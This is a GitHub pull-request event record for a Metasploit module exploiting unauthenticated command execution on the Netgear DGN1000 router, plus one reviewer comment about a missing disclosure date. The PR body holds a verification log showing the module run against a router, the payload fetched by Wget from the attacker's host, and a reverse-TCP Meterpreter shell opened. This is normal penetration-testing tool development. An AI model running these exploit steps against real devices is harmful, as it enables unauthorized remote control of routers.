{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9106","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9106/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9106/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9106/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/9106","id":267338556,"number":9106,"title":"Netgear DGN1000 Unauthenticated OS Command execution","user":{"login":"realoriginal","id":30811388,"avatar_url":"https://avatars0.githubusercontent.com/u/30811388?v=4","gravatar_id":"","url":"https://api.github.com/users/realoriginal","html_url":"https://github.com/realoriginal","followers_url":"https://api.github.com/users/realoriginal/followers","following_url":"https://api.github.com/users/realoriginal/following{/other_user}","gists_url":"https://api.github.com/users/realoriginal/gists{/gist_id}","starred_url":"https://api.github.com/users/realoriginal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/realoriginal/subscriptions","organizations_url":"https://api.github.com/users/realoriginal/orgs","repos_url":"https://api.github.com/users/realoriginal/repos","events_url":"https://api.github.com/users/realoriginal/events{/privacy}","received_events_url":"https://api.github.com/users/realoriginal/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2017-10-21T00:56:17Z","updated_at":"2017-10-21T22:51:46Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9106","html_url":"https://github.com/rapid7/metasploit-framework/pull/9106","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9106.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9106.patch"},"body":"This module exploits an unauthenticated OS command execution vulnerability, similar to https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb.\r\n## Verification\r\n```\r\nmsf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec\r\nmsf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1\r\nRHOST => 192.168.0.1\r\nmsf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80\r\nRPORT => 80\r\nmsf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0\r\nLHOST = eth0\r\nmsf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp\r\nPAYLOAD => linux/mipsbe/meterpreter/reverse_tcp\r\nmsf exploit(netgear_dgn1000_setup_unauth_exec) > run\r\n\r\n[*] Started reverse TCP handler on 192.168.0.11:4444\r\n[*] 192.168.0.1:80 - Connecting to target...\r\n[*] 192.168.0.1:80 - Exploiting target ....\r\n[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz\r\n[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz\r\n[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz\r\n[*] Sending payload to 192.168.0.1 (Wget)\r\n[*] Sending stage (1073332 bytes) to 192.168.0.1\r\n[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400\r\n[*] Command Stager progress - 100.00% done (129/129 bytes)\r\n[*] Server stopped.\r\n\r\nmeterpreter > sysinfo\r\nComputer     : 192.168.0.1\r\nOS           :  (Linux 2.6.20-Amazon_SE)\r\nArchitecture : mips\r\nMeterpreter  : mipsbe/linux\r\nmeterpreter >```\r\n\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/338437801","html_url":"https://github.com/rapid7/metasploit-framework/pull/9106#issuecomment-338437801","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9106","id":338437801,"user":{"login":"h00die","id":752491,"avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"created_at":"2017-10-21T22:51:46Z","updated_at":"2017-10-21T22:51:46Z","author_association":"CONTRIBUTOR","body":"The error I'm seeing is: modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb - [ERROR] Exploit is missing a disclosure date"}}
{"actor":{"display_login":"h00die"}}